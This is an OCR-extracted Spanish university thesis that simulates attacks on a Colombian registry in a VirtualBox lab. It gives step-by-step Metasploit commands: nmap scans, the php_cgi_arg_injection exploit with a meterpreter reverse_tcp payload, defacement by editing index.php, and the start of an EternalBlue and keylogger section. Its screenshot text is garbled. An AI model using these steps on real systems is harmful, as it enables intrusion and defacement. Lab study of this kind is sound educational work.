motivo a partir del afio 2009 el estado colombiano realiza una modificacion al codigo
penal y se crea un nuevo bien juridico el cual se denomina “de la proteccion de la

48 VARIOS AUTORES, 2015. Seguridad informatica Hacking ético, p. 201. Barcelona: Ediciones ENI.
49 ZU, Jhonatan. ;QUE ES EL PROYECTO ABIERTO DE SEGURIDAD DE APLICACIONES WEB
(OWASP)? [En linea]. Disponible en http://seguridadaguijon.blogspot.com/2018/03/que-es-
owasp.html

5 GOMEZ Alvaro, 2017. Enciclopedia de la seguridad informatica. 2° edicién. Espafia: Ra-Ma.

51 CARPENTIER Jean-Francois, 2016. La seguridad informatica en la PYME: situacion actual y
mejores practicas, p. 195. Barcelona: Ediciones ENI.
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informacion y de los datos” en esta se habla de la preservacion de los sistemas que
utilicen las tecnologias de la informacion y las comunicaciones, asi como también
se tipifican las sanciones que pueden incurrir quienes atenten contra la
confidencialidad, integridad y disponibilidad de los datos y de los sistemas de
informacion.

Como complemento a lo anterior en el afio 2012 surge la ley de proteccion de datos
personales

A continuacion, se listan las dos leyes vigentes en el estado colombiano
relacionadas con la proteccién de datos:

e Ley 1273 de 2009: Esta ley esta enfocada en la proteccion de la informacion
y de los datos, describiendo los delitos informaticos que fueron incluidos en
el codigo penal de Colombia

e Ley 1581 de 2012: Esta ley constituye el marco general de la proteccion de
datos personales en Colombia.
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5. DISENO METODOLOGICO

Para la realizacion del primer ataque, Defacement, se realiza la instalacion y
configuracion de una maquina virtual en VirtualBox con sistema operativo
Metasploitable 2, el cual simulara ser el sistema atacado de la registraduria. Esta
maquina virtual se configura en una red NAT.

Posteriormente, se realiza la instalacion y configuracion de una maquina virtual en
VirtualBox con el sistema operativo Kali Linux, desde la cual se lleva a cabo el
ataque al sistema Metasploitable 2. Esta maquina virtual se configura en una red
NAT. Durante la preparacion del entorno, primero se realiza la actualizacién de Kali
Linux.

Para escanear las vulnerabilidades del sistema Metasploitable, se utilizan las
herramientas Nmap que viene instalada en el sistema operativo Kali Linux y
OpenVas, la cual se debe instalar para realizar el escaneo.

Una de las vulnerabilidades en el sistema Metasploitable, es a un ataque CGI. Se
utiliza el Mestasploit Framework para encontrar y utilizar un exploit que permita
materializar la vulnerabilidad encontrada.

Para realizar el segundo ataque, Eternal Blue, se realiza la instalacion sobre una
maquina virtual en el programa Virtual Box del sistema operativo Windows 7, este
no cuenta con las ultimas actualizaciones, lo cual es un caso muy comun, ademas
de que el firewall no cuenta con la configuracion correcta. Esta maquina también se
configura en una red NAT.

Se realiza un escaneo de las vulnerabilidades del sistema con Windows 7 vy
posteriormente se procede a utilizar el Mestasploit Framework para encontrar y
utilizar un exploit que permita explotar la vulnerabilidad en el servicio SMB.

Durante la realizacion de cada una de las actividades anteriores, se realizan
consultas en internet para conocer los comandos a utilizar. Adicionalmente, Durante
el desarrollo de los analisis se registrara el paso a paso de los procedimientos
realizados con registros de capturas de pantalla utilizando los lineamientos
establecidos por la norma NTC 1486.

El tipo de investigacidn a utilizar es aplicado, dado que se busca dar respuesta a
interrogantes puntuales acerca de un problema conocido. Las técnicas de
recoleccion de datos que se utilizaran en el proyecto son la observacion y
entrevistas.
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6. AMBIENTES DE PRUEBA

6.1 CONFIGURACION DE LOS AMBIENTES DE PRUEBAS

Par iniciar los analisis de vulnerabilidad se realiza la configuracion de redes NAT en
las maquinas virtuales instaladas bajo el sistema operativo Windows 10. A
continuacion, se presenta la documentacion de dicho proceso.

Una vez se cuenta con las maquinas virtuales debidamente instaladas y
configuradas con los sistemas operativos Linux Metasploitable, Windows 7 y Kali
Linux, se procede a ejecutar VirtualBox, una vez hecho esto se debe proceder a la
configuracion de la red para ello se debe dirigir a la pestaia archivo, dar clic sobre
ella, luego clic en preferencias, y en la ventana desplegada se ingresara la direccion
IP de la red a configurar.

Figura 1. Creacion de red NAT
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Fuente: Autor

En la figura 1 se observa la ventana de preferencias y sobre esta la opcién de red
en la parte izquierda. Sobre la ventana desplegada se debe colocar el nombre de la
red NAT que se desea crear, la red a utilizar, la mascara de subred y por ultimo se
da clic en el boton aceptar para guardar los cambios realizados.
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Figura 2. Ventana de configuracién de red NAT.
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En la figura 2 sobre la opcion de red se observa la red NAT creada, este paso se

debe realizar en cada una de las maquinas virtuales a utilizar para que pueda existir
comunicacién entre ellas.

Figura 3. Configuracion de red NAT en maquina virtual Linux Metasploitable
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@ Puertos serie Modo promiscuo: | Permitir todo -
ﬁ Use Direccién MAC: [08002787ACAB | ®

Cable conectado

[ﬁ Carpetas compartidas =
Reenvio de puertos

ﬁ Interfaz de usuario

Aceptar Cancelar
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En la figura 3 se observa la configuracién ya establecida sobre el adaptador de red
y se identifica la red NAT sobre la cual se realiz6 la configuracion.

Figura 4. Ventana CMD desplegando direccion IP maquina virtual con Windows 7

V

[@l @ ,1, VW ' R 08:38 p.m. N

BONE P LEEDBEIcRoRECn

Fuente: Autor

En la figura 4 a través del comando ipconfig en la ventana de consola CMD se puede
verificar la correcta configuracién, esto debido a que la direccion ip asignada se
encuentra dentro de la red creada previamente.

Otro paso importante para poder llevar a cabo el analisis de vulnerabilidad de
manera correcta es desactivar el firewall en la maquina virtual con Windows 7, para
ello desde el panel de control se debe ingresar a opciones y seguridad y alli buscar
la opcion firewall, posteriormente se debe seleccionar en cada una de las
configuraciones ofrecidas, la opcion de desactivacion del firewall de Windows asi
como se observa en la figura 5.
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Figura 5. Desactivacion del firewall

@vl? <« Firewall de Wind » P lizar configuracién v |‘1 I | Buscar en el Panel de control ,Dl

Personalizar la configuracién de cada tipo de red
Puede modificar la configuracién del firewall para cada tipo de ubicacion de red que use.
:Qué son las ubicaciones de red?
Configuracién de ubicacién de red doméstica o del trabajo (privada)
@ (©) Activar Firewall de Windows
["]Blog todas las ¢ i incluidas las de la lista de programas permitidos

Notificarme cuando Firewall de Windows bloquee un nuevo programa
@ @ Desactivar Firewall de Windows (no recomendado)
Configuracién de ubicacién de red publica

@ (©) Activar Firewall de Windows
["]Blog todas las ¢ i incluidas las de la lista de programas permitidos

Notificarme cuando Firewall de Windows bloquee un nuevo programa

@ @ Desactivar Firewall de Windows (no recomendado)

Reproductor de Windows Media
02:13 a.m.

27/11/2018

Fuente: Autor
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7. PRUEBAS DE VULNERABILIDAD Y REALIZACION DE ATAQUES

7.1 REALIZACION DE ATAQUES

711 Ataque Defacement: A continuacion, se presenta el paso a paso del
proceso de actualizacidén del sistema operativo Kali Linux. Lo primero a realizar es
abrir una ventana terminal y ejecutar el comando nano sources.list, estando en la
ubicacion /etc/apt, esto es realizado para poder agregar las direcciones con los
servidores desde los cuales se descargaran las actualizaciones, asi como se
observa en la figura 6.

Figura 6. Edicion archivo sources.list

root@AKkali: /etc/apt

Archivo Editar Ver Buscar Terminal Ayuda
:~# cd /etc/apt
:/etc/apt# 1s
apt.conf.d preferences.d sources.list sources.list.d
listchanaes.conf source.list sources.list~ trusted.gpg.d
:/etc/apt# nano sources.list]]

Fuente: Autor
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Figura 7. Adicion de repositorios Kali

root@kali: /etc/apt e ® O

Archivo Editar Ver Buscar Terminal Ayuda
GNU nano 2.9.8

sources.list Modificado

deb http://http.kali.org/kali main non-free contrib
de src http://http.kali.org/kali main non-free contrib

deb cdrom:[Debian GNU/Linux 2018.3 _Kali-rolling_ - Official Snapshot amd64 L$
#deb cdrom:[Debian GNU/Linux 2018.3 _Kali-rolling_ - Official Snapshot amd64 LI$

This system was installed using small removable media

(e.g. neti , live or single CD). The matching "deb cdrom"
entries w disabled at the end of the installation process.
For information about how to configure apt package sourc

see the sources.list(5) manual.

#

K¢ Ver ayuda @Y Guardar al Buscar @ Cortar txtgll Justificargld Posicion
R Salir M Leer fich.g@\ Reemplazargl Pegar txt g Ortografiagll Ir a linea |

Fuente: Autor

Una vez agregados los repositorios de Kali Linux se procede con la descarga de los
paquetes de actualizacion a traves de la ejecucidon del comando apt-get update.

Figura 8. Descarga de paquetes de actualizacién

root@Kkali: ~ e ® O

Archivo Editar Ver Buscar Terminal Ayuda
# cd /etc/apt
etc/apt# 1s
apt.conf.d preferences.d sources.list sources.list.d
listchanges.conf source.list sources.list~ trusted.gpg.d
etc/apt# nano sources.list
etc/apt# cd ~

# apt-get update
Des:1 http://kali.download/kali kali-rolling InRelease [30,5 kB]
Des:2 http://kali.download/kali kali-rolling/main Sources [12,3 MB]
17% [2 Sources 438 kB/12,3 MB 4%]

Fuente: Autor
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Figura 9. Finalizacion descarga de paquetes de actualizacion

Archivo Editar Ver Buscar Terminal Ayuda

:~# cd /etc/apt
s /et apt# s

f.c 2fere sources.list
listchanges.conf source.list sources.list~
et pt# nano sources.list
et pt# cd ~
:~# apt-get update
1 http://Kall.download/kKall Kalli-rolling InRelease |[30,5 KB]
Des:2 http://kali.download/kali kali-rolling/main Sources [12,3 MB]
Des:3 http://kali.download/kali kali-rolling/contrib Sources [61,9 kB]
Des:4 http://kali.download/kali kali-rolling/non-free Sources [131 kB]
5
6

ves:

Des:5 http://kali.download/kali kali-rolling/main amd64 Packages [16,6 MB]
Des:6 http://kali.download/kali kali-rolling/non-free amd64 Packages [183 kB]
Des:7 http://kali.download/kali kali-rolling/contrib amd64 Packages [103 kB]
Descargados 29,5 MB en 1lmin 36s (307 kB/s)

Leyendo lista de paquetes... Hecho

~# U
Fuente: Autor

Seguidamente, se lleva a cabo la ejecucion del proceso de instalacién de los
paquetes de actualizacion, esto a través del comando apt-get upgrade.

Figura 10. Ejecucién de comando apt-get upgrade.
root@kali: ~ (- IO B )

Archivo Editar Ver Buscar Terminal Ayuda

:~# cd /etc/apt
pt# 1s
1 ) prefere sources.list
listchanges.conf source.list sources.list~
1 /et pt# nano sources.list
1/ pt# cd ~
:~# apt-get update
http://kali.download/kali kali-rolling InRelease [30,5 kB]
2 http://kali.download/kali kali-rolling/main Sources [12,3 MB]

Des:
Des:

Des:4 http://kali.download/kali kali-rolling/non-free Sources [131 kB]
Des:5 http://kali.download/kali kali-rolling/main amd64 Packages [16,6 MB]
Des:6 http://kali.download/kali kali-rolling/non-free amd64 Packages [183 kB]
Des:7 http://kali.download/kali kali-rolling/contrib amd64 Packages [103 kB]
Descargados 29,5 MB en 1min 36s (307 kB/s)
Leyendo lista de paquetes... Hecho

:~# apt-get upgrade

1

Des:3 http://kali.download/kali kali-rolling/contrib Sources [61,9 kB]
4
5

Fuente: Autor

En las imagenes siguientes se observa el proceso de instalacion de los paquetes
de actualizacion, este proceso se realizara de manera automatica, sin embargo, en
algunas ocasiones pedira autorizacion para continuar con la actualizacion como se
observa en la figura 11, a lo que se debe digitar S para continuar, esto debido a que
las actualizaciones utilizaran espacio en el disco duro.
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Figura 11. Progreso de actualizacion

root@kali: ~ @ ® 0

Archivo Editar Ver Buscar Terminal Ayuda
rfkill rifiuti2 rsmangler rsyslog ruby-mime-types ruby-minitest
ruby-nokogiri ruby-oj ruby-pkg-config ruby-public-suffix ruby-rack
ruby-rspec-expectations ruby-rspec-support ruby-simplecov ruby-test-unit
ruby-unf-ext ruby-xmlrpc ruby-zip rygel safecopy scalpel scrounge-ntfs sed
shared-mime-info sipcrack sleuthkit smali smartmontools sntp
speech-dispatcher speech-dispatcher-audio-plugins
speech-dispatcher-espeak-ng sqlite3 sqlmap sqsh ssldump sslscan sslsplit
statsprocessor stunnel4 subversion sucrack sysstat
system-config-printer-common system-config-printer-udev systemd systemd-sysv
sysvinit-utils t50 tasksel tasksel-data tcpflow tcpwatch-httpproxy tdb-tools
termineter tex-common texlive-base texlive-latex-base theharvester tmux
totem totem-common totem-plugins tracker tzdata udev udisks2
unattended-upgrades unrar update-inetd upower upx-ucl usbmuxd util-linux
uuid-runtime va-driver-all vinetto vlan volatility volatility-tools weevely
wfuzz wget whiptail wifite wireless-tools wireshark wpasupplicant xprobe
Xxserver-common xserver-xorg-input-libinput xserver-xorg-legacy
xserver-xorg-video-amdgpu xserver-xorg-video-ati xserver-xorg-video-intel
xserver-xorg-video-radeon xserver-xorg-video-vesa xsser xterm xxd yelp-xsl
zeitgeist-core zenity zenity-common zenmap zsh zsh-common

1156 actualizados, © nuevos se instalaran, © para eliminar y 245 no actualizados

Se necesita descargar 1.256 MB de archivos.
Se utilizaran 67,6 MB de espacio de disco adicional después de esta operacion.
iDesea continuar? [S/n] ] |

Fuente: Autor

Durante el proceso de actualizacidn se puede observar también la instalacion de
paquetes de postgresql. Cuando sea solicitado, se debe presionar la tecla enter con
lo cual se estara aceptando la instalacion y se continuara con el proceso.

Figura 12. Actualizacion de Postgresq|l

root@Kkali: ~ @ ® 0

Archivo Editar Ver Buscar Terminal Ayuda
Configuracion de paquetes

| Configuracion de postgresql-common |
Version principal 10 obsoleta

La versién de PostgreSQL 10 esta obsoleta, pero el paquete del cliente o del
servidor aln estan instalados. Debe instalar las Ultimas versiones de los
paquetes (postgresql-11 y postgresql-client-11) y actualizar sus cldsters con
la orden «pg upgradecluster» (consulte la pagina del manual).

Tenga en cuenta que la instalacion de postgresql-11 creara automaticamente un
clister por omisién 11/main. Tiene que borrar el clister 11 existente
(«pg_dropcluster --stop 11) si desea actualizar el clister 10/main, consulte la
pagina de manual para conocer los detalles.

Ya no se da soporte a los paquetes antiguos de cliente y servidor. Deberia
eliminar los paquetes postgresql-10 y postgresql-client-10 después de actualizar
los clusters que tenga.

Para mas informacion consulte
«/usr/share/doc/postgresql-common/README.Debian.gz».

Fuente: Autor
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Figura 13. Finalizacidn actualizacion de Kali Linux

root@kali: ~ e ® O

Archivo Editar Ver Buscar Terminal Ayuda

This may take some time... done.
Procesando disparadores para systemd (239-13)
Procesando disparadores para dictionaries-common (1.28.1)
aspell-autobuildhash: processing: en [en-common].
aspell-autobuildhash: processing: en [en-variant 0].
aspell-autobuildhash: processing: en [en-variant 1].
aspell-autobuildhash: processing: en [en-variant 2].
aspell-autobuildhash: processing: en [en-w_accents-only].
aspell-autobuildhash: processing: en [en-wo_accents-only].
aspell-autobuildhash: processing: en [en AU-variant 0].
aspell-autobuildhash: processing: en [en AU-variant 1].
aspell-autobuildhash: processing: en [en AU-w accents-only].
aspell-autobuildhash: processing: en [en_AU-wo_accents-only].
aspell-autobuildhash: processing: en [en_CA-variant 0].
aspell-autobuildhash: processing: en [en CA-variant_1].
aspell-autobuildhash: processing: en [en_CA-w_accents-only].
aspell-autobuildhash: processing: en [en_CA-wo_accents-only].
aspell-autobuildhash: processing: en [en_GB-ise-w_accents-only].
aspell-autobuildhash: processing: en [en GB-ise-wo_accents-only].
aspell-autobuildhash: processing: en [en GB-ize-w_accents-only].
aspell-autobuildhash: processing: en [en GB-ize-wo_accents-only].
aspell-autobuildhash: processing: en [en GB-variant 0].
aspell-autobuildhash: processing: en [en GB-variant 1].
aspell-autobuildhash: processing: en [en US-w_accents-only].
aspell-autobuildhash: processing: en [en US-wo accents-only].
Procesando disparadores para wine (3.0.3-2)
Procesando disparadores para libgdk-pixbuf2.0-0:amd64 (2.38.0+dfsg-6)
Procesando disparadores para rygel (0.36.2-1)

Fuente: Autor

Una vez finalizado el proceso de actualizacion, se utilizara la herramienta NMAP la
cual es utilizada para el escaneo de puertos, para ello desde la ventana terminal, se
ingresa el comando nmap —o seguido de la direccion ip del equipo a escanear y
posteriormente la tecla enter para su ejecucion.

Figura 14. Escaneo de vulnerabilidades con NMAP

2 Kali Linux [Corriendo] - Oracle VM VirtualBex

Archi

Msquina Ver Entrada Dispos

msf > nmap -0 192.168.0.5
exec: nmap -0 192.168.0.5

Starting Nmap 7.7@ ( https://nmap.org ) at 2018-11-26 22:56 -05
Nmap scan report for 192.168.0.5
Host is up (0.00045s latency).
Not shown: 977 closed ports

STATE SERVICE

open ftp

open ssh

open telnet

open smtp

open domain

open http

open rpcbind

open netbios-ssn

open microsoft-ds

open exec

open login

open shell

open rmiregistry

open ingreslock

open nfs

open ccproxy-ftp

open mysql

open postgresql

open vnc

open X11

open irc

open

open
MAC Address: : :87:AC:AB (Oracle VirtualBox virtual NIC)

Fuente: Autor
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El comando -0 conjunto con el comando nmap permite identificar el sistema
operativo alojado en la maquina atacada, a partir de ello, se pueden identificar
posibles vulnerabilidades sobre este, con el fin de ser atacadas o realizar
correcciones de seguridad.

Ejecucion del ataque: El primer paso a realizar es la revisidon de conexion con
PhpMyAdmin, esto se realiza desde en el navegador, para ello se debe colocar la
direccién ip del equipo en el navegador, asi como se observa en la figura 15.

Figura 15. Revision de conexion a phpMyAdmin de Linux Metasploitable

phpMyAdmin - Mozilla Firefox [- O )
4 phpMyAdmin x | http://192.1../cookie.php % UserAgentString.com - Li. X G Gmail x| +
I(- ® & | 192.168.0.5/phpM: 1 (=] v 48 ¢ A ©

5 Most Visitedv [f§Offensive Security "\, Kali Linux "\ Kali Docs "\, Kali Tools # Exploit-DB W Aircrack-ng gKali Forums '\, NetHunter "\ Kali Training  »

php
Welcome to phpMyAdmin

L
’V English v

rLog in
Username:

Password:

Go

a Cannot load merypt extension. Please check your
£2 pHP configuration

(@ Cookies must be enabled past this point.

Fuente: Autor

Ahora desde la ventana terminal se procede a realizar la ejecucion de postgresql
mediante el comando service postgresql start

Figura 16. Ejecucion de servicio postgresql/

root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

:~# service postgresql start
c~#

Fuente: Autor

Ventana terminal con la ejecucion del comando ss -ant el cual permite la revision de
los puertos sobre los cuales se realiza la escucha.
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Figura 17. Revision puertos de escucha

root@kali: ~ e O O

Archivo Editar Ver Buscar Terminal Ayuda
:~# service postgresql start
:~# ss -ant
State RECTV=Q Send-Q Local Address:Port Peer Address:Port

LISTEN 0 128 127.0.0.1:5432 0.9.0.8:%
LISTEN 0 128 [::1]:5432 [agllse

s~ I

Fuente: Autor

En la figura 18 se observa la ventana terminal con la ejecucion del comando msfdb
init con el cual se inicializa la base de datos del Metasploit.

Figura 18. Inicio base de datos del Metasploit Framework

root@Kkali: ~ e ® O

Archivo Editar Ver Buscar Terminal Ayuda

:~# service postgresql start

:~# ss -ant
State Recv-Q Send-Q Local Address:Port
LISTEN 0 128 127.0.0.1:5432
LISTEN 0 128 [::1]:5432

:~# msfdb init
[1] Datapase alreaady started
[+] Creating database user 'msf'
Ingrese la contrasefia para el nuevo rol:

Ingrésela nuevamente:
[+] Creating databases 'msf’
[+] Creating databases 'msf_ test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
~#

Fuente: Autor
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Una vez se realiza el paso anterior, se debe ejecutar el metasploite framework a
través del comando msfconsole, esto es realizado también desde la ventana
terminal.

Figura 19. Ejecucion del Metasploit Framework

root@kali: ~ o0

Archivo _ Editar Vi
T~# ms

Buscar _Terminal Ayuda

has you
hite

knock, knock, Neo.

=[
--=[ 1829 exploits - 1037 aux

Fuente: Autor

A continuacion, se procede con la ejecucion del comando nmap para verificar los
puertos de escucha de la maquina virtual sobre la cual se encuentra instalado Linux
Metasploitable.

Figura 20. Escaneo de puertos con NMAP

C:AB (Oracle VirtualBox virtual NIC)

Fuente: Autor

Al ejecutar el comando en la ventana terminal se observa el escaneo de puertos y
el estado de cada uno de ellos ya sea abierto o cerrado como se puede apreciar en
la figura 21.
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Figura 21. Estado de los puertos a través de NMAP

E Kali Linux [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos  Ayuda

Aplicaciones ¥ Lugares ¥ [ Terminal ~ lun, 26 de

root@Kkali: ~

Archivo peeteer==yer Buscar Terminal Ayuda
open |ssh
open |telnet
open |smtp
open |[domain
open |[http
open |rpcbind
open |[netbios-ssn
open |microsoft-ds
open |exec
open |login
open [shell
1099/tcp open |rmiregistry
1524/tcp open [ingreslock
2049/tcp open |nfs
2121/tcp open |[ccproxy-ftp
open |mysql
open [postgresql
open |vnc
open |X11
open |irc
open |ajpl3
open |[unknown
MAC Addréss: U8:00:27:87:AC:AB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
0S CPE: cpe:/o:linux:linux_kernel:2.6
0S details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.67 seconds

Fuente: Autor
Para poder iniciar la ejecucion del ataque CGl a través de la URL del sitio, lo primero

gue se hara, sera la busqueda del Exploit a utilizar, para ello se escribe el comando
search cgi con lo cual se listaran los ataques disponibles.

Figura 22. Busqueda de exploit para vulnerabilidades cgi

root@kali: ~ [-]

Archivo Editar Vi

Buscar Terminal Ayuda

o/trymsp ]

oliclosuice vite, Mank
Ay, N\
013-05-06  nibel

normal

normal

normal

al
al

al pi Dangling P
al el Datab
al

9 9_tag 1 normal
ireshark/chunked normal

Fuente: El autor

Ahora se debe utilizar el comando info seguido del Exploit elegido
(exploit/multi/http/php_cgi_arg_injection) como se observa en la figura 23. Con esto
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se detalla la informacion del exploit con lo cual se verifica que sea el necesitado
para la realizacion del ataque.

Figura 23. Detalle del exploit seleccionado

B«

Fuente: Autor

Una vez corroborada la informacidn se procede con la ejecuciéon del Exploit, para
ello se utiliza el comando, use exploit/multi/http/php_cgi_arg_injection seguido de la
Tecla enter

Figura 24. Uso del exploit seleccionado

@

Archivo Editar Ver Buscar Terminal Pestaias Ayuda

Fuente: Autor

Lo siguiente es proceder con la configuracion del rhost y el Ihost identificados como
el equipo atacado y el atacante respectivamente, se utilizan los comandos set rhost
192.168.0.5 y set Ihost 192.168.0.4, las direcciones ip utilizadas son las asignadas
a cada maquina virtual de manera automatica. Estas se pueden obtener mediante
el comando ifconfig desde la ventana terminal.
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Ahora se inyecta el payload con el comando set payloads
php/meterpreter/reverse_tcp y se ejecuta a través del comando use exploit.

Una vez realizado, se debe obtener ingreso al sistema atacado, se pueden listar los
archivos para verificar el ingreso, esto se realiza mediante la ejecucion del comando
Is como se observa en la figura 25.

Figura 25. Ingreso desde Kali a maquina atacada

Archivo Editar Ver Buscar Terminal Pestafias Ayuda

LHOST 192.168.0.4
> set PAYLOADS php/meterpreter/reverse tcp
) > exploit

168.0.4:4444

Se procede con la busqueda del archivo que contiene el index.php, una vez
identificado a través del comando cat index.php se puede visualizar la informacion
contenida en el archivo como se observa en la figura 26.
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Figura 26. Apertura de archivo index.php

) Kali Linux [Corriendo] - Oracle VM VirtualBox o X

Archivo Maquina Ve Entrada Dispositivos _Ayuda

root@kali: ~ o0

Archivo Editar Ver Buscar Terminal Pestafias Ayuda
root@kali: ~ x t@ka x v

Ineterpreter > cat index.php
eaa=2CI L (ESHETasploTtable2 - Linux</title></hea

Warning: Never expose this VM to an untrusted network!
contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

/dvwa/">DVWA</a:
href="/dav/">WebDAV</a:

Fuente: Autor

Para poder editar el archivo se ejecuta el comando edit, seguido del nhombre del
archivo, en este caso index.php

Figura 27. Uso del comando edit para edicion del archivo

) Kali Linux [Corriendo) - Oracle VM VirtualBox - o X

Archivo  Maquina Ver Entrada

Archivo Editar Ver Buscar Terminal Pestafias Ayuda

root@Kali

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

twiki/">TWiki</a></li>
phpMyAdmin/">phpMyAdmin</a></1i>
mutillidae/">Mutillidae</a></1i>
dvwa/">DVWA</a></1i>

dav/">Webl

meterpreter > index.php

indax.n

neterpreter > edit index

Fuente: Autor
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Figura 28. Edicién archivo index.php

£ KaliLi

Archivo

Archivo Editar Ver Buscar Terminal Pestafias Ayuda

root@kali: ~ x root@kali: ~ x @ ~

Warning: Never expose this VM to an untrusted network!

msfdev[at]metasploit.com

ogin with msfadmin/msfadmin to get started

Nombre y apellido estudiante 1:
Cedula estudiante 1: 11408503

Fecha y hora de acceso: 27/11/2018 01:36 a.m.<br>

</body>
</htnl>
-- INSERTAR -- A -
B Q%P P W 0GR R oReca
£ ~A@mzdo

Fuente: Autor

Al finalizar la edicion se presiona la tecla escape, luego la tecla shift y la tecla de
dos puntos al mismo tiempo, luego la tecla w para guardar lo editado y la tecla q

para salir del archivo.

Ahora se procede con la revisién del index de la pagina atacada, esto se realiza
abriendo el navegador y digitando la ip del servidor sobre el cual se aloj6 la pagina,
en la figura 29 se puede evidenciar que el ataque de Defacement se realizé de

manera correcta.

Figura 29. Ataque Defacement realizado

2
Metasploitable2 - Linux - Mozila Firefox °o0o0

L
Ie [ D 19216805 »--UQI neo =
e T R S T T R Lo mmter \ g Started

Fuente: Autor
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71.2 Ataque Eternal Blue: Desde Kali Linux se procede a ejecutar la aplicacion
Openvas la cual es utilizada para el analisis de vulnerabilidades. Esto se realiza
desde un navegador web digitando la direccién IP y el puerto sobre el cual se realizé
la configuracion. Se desplegara una ventana emergente sobre la cual se digitara la
IP del equipo al cual se le realizara el escaneo y posteriormente de da clic sobre el
boton start scan.

Figura 30. Inicio de escaneo con OpenVas

Applications + 33
Greenbone Security Assistant - Mozilla Firefox e ® 0
J € Greenbone Security A.. x | +

€ ) ®#& | https://127.0.0.1:9392/omp?cmd=get_t:  80% | X ||Q Search wB $§ A O

£ Most Visitedv [l Offensive Security "\ Kali Linux %\ Kali Docs “\ Kali Tools s Exploit-DB W Aircrack-ng

ther your compuer or your network gateway.
e following for you

By cicking the New Task icon k& you can create a new Task yourseff

Waiting for 127.0.0.1... / @l inmE
®&P P @& D BB croemecra

Fuente: Autor

En la Figura 31 se observa el resultado de los analisis ejecutados hacia la maquina
virtual con Windows 7.

Figura 31. Graficas de resultado de analisis

= - : \

Applications v Places g~
Greenbone Security Assistant - Mozilla Firefox 060

) & Greenbone Security A.. % | +

€ ) @& | hitps://127.0.0.1:9392/omp?cmd=get_t:  80% | & ||Q Search w8 ¥ A O =

[ Most Visitedv [l Offensive Security \ Kali Linux % Kali Docs % Kali Tools & Exploit-DB W Aircrack-ng

Immediate scan of IP 192.168.0.5

Immediate scan of IP 192.168.0.6

WP P FEDGE romeon

Fuente: Autor
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Figura 32. resultado de vulnerabilidades encontradas

Applications v Places v © Firefox ESR v Tue 09:42
i Greenbone Security Assistant - Mozilla Firefox e ® O
E about:sessionrestore x | & Greenbone Security A.. x | +

€ OR|! 127.0.0.1:9392/omp?cmd=get_re  ( 80% | C Search wB8 3 # =

{5 Most Visitedv il Offensive Security S Kali Linux " Kali Docs " Kali Tools # Exploit-DB Wy Aircrack-ng »
g,ﬁ Dashboard Scans Assets Secinfo Configuration Extras Administration Help &

el
Nab 123456758481

neraity @ [seveity @000 [vst _Juocaion
SMB Test with 'smbclient’ 80% 192.168.0.6 445/tcp Tue Nov 27 14:04:58 2018
ICMP Timestamp Detection 80% 192.168.0.6 generalficmp Tue Nov 27 14:04:40 2018
DIRB (NASL wrapper) 80% 192.168.0.6  2869/tcp Tue Nov 27 13:40:53 2018
05 End Of Life Detection BTN 80% 192.168.0.6  generalftcp Tue Nov 27 13:39:28 2018
Hidden WWW server name 70% 192.168.0.6 2869/tcp Tue Nov 27 13:35:57 2018
TCP timestamps AT 80% 192.168.0.6  genera Tue Nov 27 13:32:58 2018
CGl Scanning Consolidation 80% 192.168.0.6 2869/tcp Tue Nov 27 13:32:23 2018
DCE/RPC and MSRPC Services Enumeration Reporting edium) | 80% 192.168.0.6 135/tcp Tue Nov 27 13:29:26 2018
Traceroute 80% 192.168.0.6 generaltcp  Tue Nov 27 13:22:44 2018
Unknown OS and Service Banner Reporting 80% 192.168.0.6 554/tcp Tue Nov 27 13:21:11 2018

Ou &P @ ] @ & [ () cTRL DERECHA

Fuente: Autor

Una vez finalizado el proceso de escaneo de vulnerabilidades con OpenVas se
procede con el escaneo de puertos ejecutando desde el terminal el comando nmap
-0 hacia la maquina con Windows 7 como se observa en la figura 33.

Figura 33. Escaneo de vulnerabilidades con Nmap

Archivo Editar Ver Buscar Terminal Pestafias Ayuda
root@kali: ~ x root@kali x @ -~

:~# nmap -0 192.168.6.6
g Nmap 7./0 ( Nttps://nMap.org ) at 2018-11-27 01:58

wsdapi
open unknown
08:00:27:7B:79:06 (Oracle VirtualBox virtual NIC

g: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general pury

08|8.1|7|Phone|Vista
t:windows_server_2008:r2 c icrosoft:windows 8.1 cpe:/o:microsoft:windows 7::-:professional cpe:/o:microsoft:windows 8 cp
e /0:microsoft:windoy /o:microsoft:windoy s cpe:/o:microsoft:windows_vista::spl
Microsoft Windows Ser 2008 R2 or Windows 8.1, Microsoft Windows 7 Prof ional or Windows 8, Microsoft Windows Phone 7.5 or 8.0, Micro|
ows Vista SPO or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP addr (1 host up) scanned in 8.2 conds

«1

Fuente: Autor
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A través del escaneo realizado se pudieron evidenciar varias fallas de seguridad
que comprometen la integridad del equipo, una de ellas es el estado del sistema
operativo, del cual se advierte que su ciclo de vida ha terminado. Cuando esto
sucede las marcas terminan el soporte y no brindan mas correcciones a fallas, por
lo que las fallas de seguridad presentadas no pueden ser corregidas mediante
actualizaciones.

Si se observa el escaneo realizado con nmap en la figura 33 también se evidencian
fallos en la seguridad, ya que se encuentran puertos abiertos por los cuales se
pueden ejecutar ataques, en ejemplo de estos es el ataque conocido como Eternal
Blue el cual se ejecuta a través del puerto 445.

Ejecucion de los ataques

Keylogger

Para la realizacién de este ataque lo primero a realizar es la ejecucion de los
comandos postgresqgl start, ss-ant y msfdb init desde una ventana terminal.
Posteriormente se ingresa el comando msfconsole para iniciar el Metasploit
Framework. Luego se ingresa el comando search cgi para buscar un exploit que
permita explotar el fallo.

Figura 34. Ejecucion del Metasploit Framework

i AR #h
